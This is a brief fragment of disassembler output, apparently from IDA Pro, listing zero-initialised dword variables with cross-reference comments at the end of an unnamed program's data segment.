dword_421D20	dd 0			; DATA XREF: sub_40CFE7+54w
dword_421D24	dd 0			; DATA XREF: sub_40CFE7+5Dw
dword_421D28	dd 0			; DATA XREF: sub_40CFE7+67w
dword_421D2C	dd 0			; DATA XREF: sub_40CFE7+75w
dword_421D30	dd 0			; DATA XREF: sub_40CFE7+7Ew
dword_421D34	dd 0			; DATA XREF: sub_40CFE7+C3w
dword_421D38	dd 0			; DATA XREF: sub_40CFE7+8Dw
dword_421D3C	dd 0			; DATA XREF: sub_41304B+Ew
					; sub_41304B+2Ew ...
dword_421D40	dd 0			; DATA XREF: sub_41521B+3o
					; sub_415365:loc_415371r ...
dword_421D44	dd 0			; DATA XREF: sub_41661B+Ao
					; sub_4167FD:loc_416809r ...
dword_421D48	dd 0			; DATA XREF: sub_41661B+15o
					; sub_416813:loc_41681Fr ...
		align 10h
dword_421D50	dd 0			; DATA XREF: sub_4175B2:loc_417639r
					; sub_4175B2+13Fr ...
		align 8
dword_421D58	dd 0			; DATA XREF: sub_4175B2:loc_41764Cr
					; sub_4175B2+1C4r ...
		dd 0Fh dup(0)
dword_421D98	dd 1Ah dup(0)		; DATA XREF: sub_4175B2+12Co
					; sub_4175B2+191o ...
_data		ends


		end start